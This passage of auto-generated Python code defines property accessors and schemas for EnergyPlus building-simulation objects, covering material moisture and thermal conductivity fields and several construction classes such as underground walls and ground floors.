thermal_conductivity_3(self, value=None): """Corresponds to IDD field `Thermal Conductivity 3`""" self["Thermal Conductivity 3"] = value @property def moisture_content_4(self): """field `Moisture Content 4` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_4` or None if not set """ return self["Moisture Content 4"] @moisture_content_4.setter def moisture_content_4(self, value=None): """Corresponds to IDD field `Moisture Content 4`""" self["Moisture Content 4"] = value @property def thermal_conductivity_4(self): """field `Thermal Conductivity 4` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_4` or None if not set """ return self["Thermal Conductivity 4"] @thermal_conductivity_4.setter def thermal_conductivity_4(self, value=None): """Corresponds to IDD field `Thermal Conductivity 4`""" self["Thermal Conductivity 4"] = value @property def moisture_content_5(self): """field `Moisture Content 5` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_5` or None if not set """ return self["Moisture Content 5"] @moisture_content_5.setter def moisture_content_5(self, value=None): """Corresponds to IDD field `Moisture Content 5`""" self["Moisture Content 5"] = value @property def thermal_conductivity_5(self): """field `Thermal Conductivity 5` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_5` or None if not set """ return self["Thermal Conductivity 5"] @thermal_conductivity_5.setter def thermal_conductivity_5(self, value=None): """Corresponds to IDD field `Thermal Conductivity 5`""" self["Thermal Conductivity 5"] = value @property def moisture_content_6(self): """field `Moisture Content 6` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_6` or None if not set """ return self["Moisture Content 6"] @moisture_content_6.setter def moisture_content_6(self, value=None): """Corresponds to IDD field `Moisture Content 6`""" self["Moisture Content 6"] = value @property def thermal_conductivity_6(self): """field `Thermal Conductivity 6` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_6` or None if not set """ return self["Thermal Conductivity 6"] @thermal_conductivity_6.setter def thermal_conductivity_6(self, value=None): """Corresponds to IDD field `Thermal Conductivity 6`""" self["Thermal Conductivity 6"] = value @property def moisture_content_7(self): """field `Moisture Content 7` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_7` or None if not set """ return self["Moisture Content 7"] @moisture_content_7.setter def moisture_content_7(self, value=None): """Corresponds to IDD field `Moisture Content 7`""" self["Moisture Content 7"] = value @property def thermal_conductivity_7(self): """field `Thermal Conductivity 7` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_7` or None if not set """ return self["Thermal Conductivity 7"] @thermal_conductivity_7.setter def thermal_conductivity_7(self, value=None): """Corresponds to IDD field `Thermal Conductivity 7`""" self["Thermal Conductivity 7"] = value @property def moisture_content_8(self): """field `Moisture Content 8` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_8` or None if not set """ return self["Moisture Content 8"] @moisture_content_8.setter def moisture_content_8(self, value=None): """Corresponds to IDD field `Moisture Content 8`""" self["Moisture Content 8"] = value @property def thermal_conductivity_8(self): """field `Thermal Conductivity 8` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_8` or None if not set """ return self["Thermal Conductivity 8"] @thermal_conductivity_8.setter def thermal_conductivity_8(self, value=None): """Corresponds to IDD field `Thermal Conductivity 8`""" self["Thermal Conductivity 8"] = value @property def moisture_content_9(self): """field `Moisture Content 9` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_9` or None if not set """ return self["Moisture Content 9"] @moisture_content_9.setter def moisture_content_9(self, value=None): """Corresponds to IDD field `Moisture Content 9`""" self["Moisture Content 9"] = value @property def thermal_conductivity_9(self): """field `Thermal Conductivity 9` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_9` or None if not set """ return self["Thermal Conductivity 9"] @thermal_conductivity_9.setter def thermal_conductivity_9(self, value=None): """Corresponds to IDD field `Thermal Conductivity 9`""" self["Thermal Conductivity 9"] = value @property def moisture_content_10(self): """field `Moisture Content 10` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_10` or None if not set """ return self["Moisture Content 10"] @moisture_content_10.setter def moisture_content_10(self, value=None): """Corresponds to IDD field `Moisture Content 10`""" self["Moisture Content 10"] = value @property def thermal_conductivity_10(self): """field `Thermal Conductivity 10` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_10` or None if not set """ return self["Thermal Conductivity 10"] @thermal_conductivity_10.setter def thermal_conductivity_10(self, value=None): """Corresponds to IDD field `Thermal Conductivity 10`""" self["Thermal Conductivity 10"] = value @property def moisture_content_11(self): """field `Moisture Content 11` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_11` or None if not set """ return self["Moisture Content 11"] @moisture_content_11.setter def moisture_content_11(self, value=None): """Corresponds to IDD field `Moisture Content 11`""" self["Moisture Content 11"] = value @property def thermal_conductivity_11(self): """field `Thermal Conductivity 11` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_11` or None if not set """ return self["Thermal Conductivity 11"] @thermal_conductivity_11.setter def thermal_conductivity_11(self, value=None): """Corresponds to IDD field `Thermal Conductivity 11`""" self["Thermal Conductivity 11"] = value @property def moisture_content_12(self): """field `Moisture Content 12` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_12` or None if not set """ return self["Moisture Content 12"] @moisture_content_12.setter def moisture_content_12(self, value=None): """Corresponds to IDD field `Moisture Content 12`""" self["Moisture Content 12"] = value @property def thermal_conductivity_12(self): """field `Thermal Conductivity 12` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_12` or None if not set """ return self["Thermal Conductivity 12"] @thermal_conductivity_12.setter def thermal_conductivity_12(self, value=None): """Corresponds to IDD field `Thermal Conductivity 12`""" self["Thermal Conductivity 12"] = value @property def moisture_content_13(self): """field `Moisture Content 13` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_13` or None if not set """ return self["Moisture Content 13"] @moisture_content_13.setter def moisture_content_13(self, value=None): """Corresponds to IDD field `Moisture Content 13`""" self["Moisture Content 13"] = value @property def thermal_conductivity_13(self): """field `Thermal Conductivity 13` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_13` or None if not set """ return self["Thermal Conductivity 13"] @thermal_conductivity_13.setter def thermal_conductivity_13(self, value=None): """Corresponds to IDD field `Thermal Conductivity 13`""" self["Thermal Conductivity 13"] = value @property def moisture_content_14(self): """field `Moisture Content 14` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_14` or None if not set """ return self["Moisture Content 14"] @moisture_content_14.setter def moisture_content_14(self, value=None): """Corresponds to IDD field `Moisture Content 14`""" self["Moisture Content 14"] = value @property def thermal_conductivity_14(self): """field `Thermal Conductivity 14` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_14` or None if not set """ return self["Thermal Conductivity 14"] @thermal_conductivity_14.setter def thermal_conductivity_14(self, value=None): """Corresponds to IDD field `Thermal Conductivity 14`""" self["Thermal Conductivity 14"] = value @property def moisture_content_15(self): """field `Moisture Content 15` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_15` or None if not set """ return self["Moisture Content 15"] @moisture_content_15.setter def moisture_content_15(self, value=None): """Corresponds to IDD field `Moisture Content 15`""" self["Moisture Content 15"] = value @property def thermal_conductivity_15(self): """field `Thermal Conductivity 15` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_15` or None if not set """ return self["Thermal Conductivity 15"] @thermal_conductivity_15.setter def thermal_conductivity_15(self, value=None): """Corresponds to IDD field `Thermal Conductivity 15`""" self["Thermal Conductivity 15"] = value @property def moisture_content_16(self): """field `Moisture Content 16` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_16` or None if not set """ return self["Moisture Content 16"] @moisture_content_16.setter def moisture_content_16(self, value=None): """Corresponds to IDD field `Moisture Content 16`""" self["Moisture Content 16"] = value @property def thermal_conductivity_16(self): """field `Thermal Conductivity 16` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_16` or None if not set """ return self["Thermal Conductivity 16"] @thermal_conductivity_16.setter def thermal_conductivity_16(self, value=None): """Corresponds to IDD field `Thermal Conductivity 16`""" self["Thermal Conductivity 16"] = value @property def moisture_content_17(self): """field `Moisture Content 17` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 17` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_17` or None if not set """ return self["Moisture Content 17"] @moisture_content_17.setter def moisture_content_17(self, value=None): """Corresponds to IDD field `Moisture Content 17`""" self["Moisture Content 17"] = value @property def thermal_conductivity_17(self): """field `Thermal Conductivity 17` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 17` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_17` or None if not set """ return self["Thermal Conductivity 17"] @thermal_conductivity_17.setter def thermal_conductivity_17(self, value=None): """Corresponds to IDD field `Thermal Conductivity 17`""" self["Thermal Conductivity 17"] = value @property def moisture_content_18(self): """field `Moisture Content 18` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 18` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_18` or None if not set """ return self["Moisture Content 18"] @moisture_content_18.setter def moisture_content_18(self, value=None): """Corresponds to IDD field `Moisture Content 18`""" self["Moisture Content 18"] = value @property def thermal_conductivity_18(self): """field `Thermal Conductivity 18` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 18` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_18` or None if not set """ return self["Thermal Conductivity 18"] @thermal_conductivity_18.setter def thermal_conductivity_18(self, value=None): """Corresponds to IDD field `Thermal Conductivity 18`""" self["Thermal Conductivity 18"] = value @property def moisture_content_19(self): """field `Moisture Content 19` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 19` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_19` or None if not set """ return self["Moisture Content 19"] @moisture_content_19.setter def moisture_content_19(self, value=None): """Corresponds to IDD field `Moisture Content 19`""" self["Moisture Content 19"] = value @property def thermal_conductivity_19(self): """field `Thermal Conductivity 19` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 19` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_19` or None if not set """ return self["Thermal Conductivity 19"] @thermal_conductivity_19.setter def thermal_conductivity_19(self, value=None): """Corresponds to IDD field `Thermal Conductivity 19`""" self["Thermal Conductivity 19"] = value @property def moisture_content_20(self): """field `Moisture Content 20` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 20` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_20` or None if not set """ return self["Moisture Content 20"] @moisture_content_20.setter def moisture_content_20(self, value=None): """Corresponds to IDD field `Moisture Content 20`""" self["Moisture Content 20"] = value @property def thermal_conductivity_20(self): """field `Thermal Conductivity 20` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 20` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_20` or None if not set """ return self["Thermal Conductivity 20"] @thermal_conductivity_20.setter def thermal_conductivity_20(self, value=None): """Corresponds to IDD field `Thermal Conductivity 20`""" self["Thermal Conductivity 20"] = value @property def moisture_content_21(self): """field `Moisture Content 21` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 21` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_21` or None if not set """ return self["Moisture Content 21"] @moisture_content_21.setter def moisture_content_21(self, value=None): """Corresponds to IDD field `Moisture Content 21`""" self["Moisture Content 21"] = value @property def thermal_conductivity_21(self): """field `Thermal Conductivity 21` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 21` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_21` or None if not set """ return self["Thermal Conductivity 21"] @thermal_conductivity_21.setter def thermal_conductivity_21(self, value=None): """Corresponds to IDD field `Thermal Conductivity 21`""" self["Thermal Conductivity 21"] = value @property def moisture_content_22(self): """field `Moisture Content 22` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 22` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_22` or None if not set """ return self["Moisture Content 22"] @moisture_content_22.setter def moisture_content_22(self, value=None): """Corresponds to IDD field `Moisture Content 22`""" self["Moisture Content 22"] = value @property def thermal_conductivity_22(self): """field `Thermal Conductivity 22` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 22` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_22` or None if not set """ return self["Thermal Conductivity 22"] @thermal_conductivity_22.setter def thermal_conductivity_22(self, value=None): """Corresponds to IDD field `Thermal Conductivity 22`""" self["Thermal Conductivity 22"] = value @property def moisture_content_23(self): """field `Moisture Content 23` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 23` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_23` or None if not set """ return self["Moisture Content 23"] @moisture_content_23.setter def moisture_content_23(self, value=None): """Corresponds to IDD field `Moisture Content 23`""" self["Moisture Content 23"] = value @property def thermal_conductivity_23(self): """field `Thermal Conductivity 23` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 23` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_23` or None if not set """ return self["Thermal Conductivity 23"] @thermal_conductivity_23.setter def thermal_conductivity_23(self, value=None): """Corresponds to IDD field `Thermal Conductivity 23`""" self["Thermal Conductivity 23"] = value @property def moisture_content_24(self): """field `Moisture Content 24` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 24` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_24` or None if not set """ return self["Moisture Content 24"] @moisture_content_24.setter def moisture_content_24(self, value=None): """Corresponds to IDD field `Moisture Content 24`""" self["Moisture Content 24"] = value @property def thermal_conductivity_24(self): """field `Thermal Conductivity 24` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 24` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_24` or None if not set """ return self["Thermal Conductivity 24"] @thermal_conductivity_24.setter def thermal_conductivity_24(self, value=None): """Corresponds to IDD field `Thermal Conductivity 24`""" self["Thermal Conductivity 24"] = value @property def moisture_content_25(self): """field `Moisture Content 25` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 25` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_25` or None if not set """ return self["Moisture Content 25"] @moisture_content_25.setter def moisture_content_25(self, value=None): """Corresponds to IDD field `Moisture Content 25`""" self["Moisture Content 25"] = value @property def thermal_conductivity_25(self): """field `Thermal Conductivity 25` | Units: W/m-K Args: value (float): value for IDD Field `Thermal Conductivity 25` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `thermal_conductivity_25` or None if not set """ return self["Thermal Conductivity 25"] @thermal_conductivity_25.setter def thermal_conductivity_25(self, value=None): """Corresponds to IDD field `Thermal Conductivity 25`""" self["Thermal Conductivity 25"] = value class Construction(DataObject): """Corresponds to IDD object `Construction` Start with outside layer and work your way to the inside layer Up to 10 layers total, 8 for windows Enter the material name for each layer.""" _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'outside layer', {'name': u'Outside Layer', 'pyname': u'outside_layer', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 2', {'name': u'Layer 2', 'pyname': u'layer_2', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 3', {'name': u'Layer 3', 'pyname': u'layer_3', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 4', {'name': u'Layer 4', 'pyname': u'layer_4', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 5', {'name': u'Layer 5', 'pyname': u'layer_5', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 6', {'name': u'Layer 6', 'pyname': u'layer_6', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 7', {'name': u'Layer 7', 'pyname': u'layer_7', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 8', {'name': u'Layer 8', 'pyname': u'layer_8', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 9', {'name': u'Layer 9', 'pyname': u'layer_9', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 10', {'name': u'Layer 10', 'pyname': u'layer_10', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'Construction', 'pyname': u'Construction', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def outside_layer(self): """field `Outside Layer` Args: value (str): value for IDD Field `Outside Layer` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `outside_layer` or None if not set """ return self["Outside Layer"] @outside_layer.setter def outside_layer(self, value=None): """Corresponds to IDD field `Outside Layer`""" self["Outside Layer"] = value @property def layer_2(self): """field `Layer 2` Args: value (str): value for IDD Field `Layer 2` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_2` or None if not set """ return self["Layer 2"] @layer_2.setter def layer_2(self, value=None): """Corresponds to IDD field `Layer 2`""" self["Layer 2"] = value @property def layer_3(self): """field `Layer 3` Args: value (str): value for IDD Field `Layer 3` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_3` or None if not set """ return self["Layer 3"] @layer_3.setter def layer_3(self, value=None): """Corresponds to IDD field `Layer 3`""" self["Layer 3"] = value @property def layer_4(self): """field `Layer 4` Args: value (str): value for IDD Field `Layer 4` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_4` or None if not set """ return self["Layer 4"] @layer_4.setter def layer_4(self, value=None): """Corresponds to IDD field `Layer 4`""" self["Layer 4"] = value @property def layer_5(self): """field `Layer 5` Args: value (str): value for IDD Field `Layer 5` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_5` or None if not set """ return self["Layer 5"] @layer_5.setter def layer_5(self, value=None): """Corresponds to IDD field `Layer 5`""" self["Layer 5"] = value @property def layer_6(self): """field `Layer 6` Args: value (str): value for IDD Field `Layer 6` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_6` or None if not set """ return self["Layer 6"] @layer_6.setter def layer_6(self, value=None): """Corresponds to IDD field `Layer 6`""" self["Layer 6"] = value @property def layer_7(self): """field `Layer 7` Args: value (str): value for IDD Field `Layer 7` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_7` or None if not set """ return self["Layer 7"] @layer_7.setter def layer_7(self, value=None): """Corresponds to IDD field `Layer 7`""" self["Layer 7"] = value @property def layer_8(self): """field `Layer 8` Args: value (str): value for IDD Field `Layer 8` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_8` or None if not set """ return self["Layer 8"] @layer_8.setter def layer_8(self, value=None): """Corresponds to IDD field `Layer 8`""" self["Layer 8"] = value @property def layer_9(self): """field `Layer 9` Args: value (str): value for IDD Field `Layer 9` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_9` or None if not set """ return self["Layer 9"] @layer_9.setter def layer_9(self, value=None): """Corresponds to IDD field `Layer 9`""" self["Layer 9"] = value @property def layer_10(self): """field `Layer 10` Args: value (str): value for IDD Field `Layer 10` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `layer_10` or None if not set """ return self["Layer 10"] @layer_10.setter def layer_10(self, value=None): """Corresponds to IDD field `Layer 10`""" self["Layer 10"] = value class ConstructionCfactorUndergroundWall(DataObject): """ Corresponds to IDD object `Construction:CfactorUndergroundWall` Alternate method of describing underground wall constructions """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'c-factor', {'name': u'C-Factor', 'pyname': u'cfactor', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m2-K'}), (u'height', {'name': u'Height', 'pyname': u'height', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'Construction:CfactorUndergroundWall', 'pyname': u'ConstructionCfactorUndergroundWall', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def cfactor(self): """field `C-Factor` | Enter C-Factor without film coefficients or soil | Units: W/m2-K Args: value (float): value for IDD Field `C-Factor` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `cfactor` or None if not set """ return self["C-Factor"] @cfactor.setter def cfactor(self, value=None): """ Corresponds to IDD field `C-Factor` """ self["C-Factor"] = value @property def height(self): """field `Height` | Enter height of the underground wall | Units: m Args: value (float): value for IDD Field `Height` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `height` or None if not set """ return self["Height"] @height.setter def height(self, value=None): """Corresponds to IDD field `Height`""" self["Height"] = value class ConstructionFfactorGroundFloor(DataObject): """ Corresponds to IDD object `Construction:FfactorGroundFloor` Alternate method of describing slab-on-grade or underground floor constructions """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'f-factor', {'name': u'F-Factor', 'pyname': u'ffactor', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'W/m-K'}), (u'area', {'name': u'Area', 'pyname': u'area', 'minimum>': 0.0, 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm2'}), (u'perimeterexposed', {'name': u'PerimeterExposed', 'pyname': u'perimeterexposed', 'required-field': True, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': u'real', 'unit': u'm'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'Construction:FfactorGroundFloor', 'pyname': u'ConstructionFfactorGroundFloor', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def ffactor(self): """field `F-Factor` | Units: W/m-K | IP-Units: Btu/h-ft-F Args: value (float): value for IDD Field `F-Factor` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `ffactor` or None if not set """ return self["F-Factor"] @ffactor.setter def ffactor(self, value=None): """ Corresponds to IDD field `F-Factor` """ self["F-Factor"] = value @property def area(self): """field `Area` | Enter area of the floor | Units: m2 Args: value (float): value for IDD Field `Area` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `area` or None if not set """ return self["Area"] @area.setter def area(self, value=None): """Corresponds to IDD field `Area`""" self["Area"] = value @property def perimeterexposed(self): """field `PerimeterExposed` | Enter exposed perimeter of the floor | Units: m Args: value (float): value for IDD Field `PerimeterExposed` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `perimeterexposed` or None if not set """ return self["PerimeterExposed"] @perimeterexposed.setter def perimeterexposed(self, value=None): """Corresponds to IDD field `PerimeterExposed`""" self["PerimeterExposed"] = value class ConstructionInternalSource(DataObject): """ Corresponds to IDD object `Construction:InternalSource` Start with outside layer and work your way to the inside Layer Up to 10 layers total, 8 for windows Enter the material name for each layer """ _schema = {'extensible-fields': OrderedDict(), 'fields': OrderedDict([(u'name', {'name': u'Name', 'pyname': u'name', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'alpha'}), (u'source present after layer number', {'name': u'Source Present After Layer Number', 'pyname': u'source_present_after_layer_number', 'required-field': True, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'}), (u'temperature calculation requested after layer number', {'name': u'Temperature Calculation Requested After Layer Number', 'pyname': u'temperature_calculation_requested_after_layer_number', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'integer'}), (u'dimensions for the ctf calculation', {'name': u'Dimensions for the CTF Calculation', 'pyname': u'dimensions_for_the_ctf_calculation', 'maximum': 2, 'required-field': True, 'autosizable': False, 'minimum': 1, 'autocalculatable': False, 'type': u'integer'}), (u'tube spacing', {'name': u'Tube Spacing', 'pyname': u'tube_spacing', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'real', 'unit': u'm'}), (u'outside layer', {'name': u'Outside Layer', 'pyname': u'outside_layer', 'required-field': True, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 2', {'name': u'Layer 2', 'pyname': u'layer_2', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 3', {'name': u'Layer 3', 'pyname': u'layer_3', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 4', {'name': u'Layer 4', 'pyname': u'layer_4', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 5', {'name': u'Layer 5', 'pyname': u'layer_5', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 6', {'name': u'Layer 6', 'pyname': u'layer_6', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 7', {'name': u'Layer 7', 'pyname': u'layer_7', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 8', {'name': u'Layer 8', 'pyname': u'layer_8', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 9', {'name': u'Layer 9', 'pyname': u'layer_9', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'}), (u'layer 10', {'name': u'Layer 10', 'pyname': u'layer_10', 'required-field': False, 'autosizable': False, 'autocalculatable': False, 'type': u'object-list'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'Construction:InternalSource', 'pyname': u'ConstructionInternalSource', 'required-object': False, 'unique-object': False} @property def name(self): """field `Name` Args: value (str): value for IDD Field `Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `name` or None if not set """ return self["Name"] @name.setter def name(self, value=None): """Corresponds to IDD field `Name`""" self["Name"] = value @property def source_present_after_layer_number(self): """field `Source Present After Layer Number` | refers to the list of materials which follows | value >= 1 Args: value (int): value for IDD Field `Source Present After Layer Number` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `source_present_after_layer_number` or None if not set """ return self["Source Present After Layer Number"] @source_present_after_layer_number.setter def source_present_after_layer_number(self, value=None): """Corresponds to IDD field `Source Present After Layer Number`""" self["Source Present After Layer Number"] = value @property def temperature_calculation_requested_after_layer_number(self): """field `Temperature Calculation Requested After Layer Number` | refers to the list of materials which follows Args: value (int): value for IDD Field `Temperature Calculation Requested After Layer Number` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `temperature_calculation_requested_after_layer_number` or None if not set """ return self["Temperature Calculation Requested After Layer Number"] @temperature_calculation_requested_after_layer_number.setter def temperature_calculation_requested_after_layer_number(self, value=None): """Corresponds to IDD field `Temperature Calculation Requested 